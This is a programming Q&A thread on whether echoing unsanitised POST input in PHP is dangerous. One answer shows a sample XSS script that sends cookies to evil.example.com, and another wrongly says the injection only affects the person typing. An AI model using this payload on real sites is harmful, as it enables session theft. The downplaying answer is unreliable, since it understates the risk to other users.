CODEWITHSUNDEEP
phpsecurityxss
Andrew Borg
Andrew Borg

Reputation: 23

PHP File Inclusion

I have a textbox in which a user inputs a value and a PHP script echoes it out. The Textbox is sent to the server via POST and is saved in a variable called Temp.

If I create the output script with the below line, will the echo prevents File inclusion or arbitrary PHP injection, assuming that no validations are being done?

<?php echo $Temp; ?>

Upvotes: 2

Views: 146

Answers (4)

SilverlightFox
SilverlightFox

Reputation: 33538

This is a classic reflected Cross Site Scripting vulnerability. Injected code will not execute on the server.

A malicious user could setup their own site that POSTs to your form. The POSTed value could be something like 

<script>
new Img().src = 'https://evil.example.com?' + escape(document.cookie);
</script>

When a user that is logged into your site visits the malicious page, the attacker will retrieve the user's cookies for your site (well any that are not marked as HttpOnly). To mitigate this do the following:

<?php echo htmlentities($Temp); ?>

which will display any script as HTML rather than execute it.

Upvotes: 1

Konstantin Mezentsev
Konstantin Mezentsev

Reputation: 131

It's a typical xss vulnerability read more here So always filter any user input right after you got it. php has nice type conversion like (string)$Temp and as mentioned above htmlspecialchars() and htmlentities()

Upvotes: 1

Kyle Burkett
Kyle Burkett

Reputation: 1443

mkaatman's answer may or may not address your question. Javascript is client side, so there isn't any server-side maliciousness happening. If a user were to put something malicious in the text box that you echo back to them, they are only affecting themselves on the client side.

In other words, PHP is not going to execute what the user inputs in that variable if all you are doing is storing and echoing. No harm can be done to the server... and I think that was what you were asking

Upvotes: 2

Matt
Matt

Reputation: 5428

No. I could enter malicious javascript code in the input and the browser would execute that code when you viewed the page that had been generated with <?php echo $Temp; ?>

Upvotes: 1

Related Questions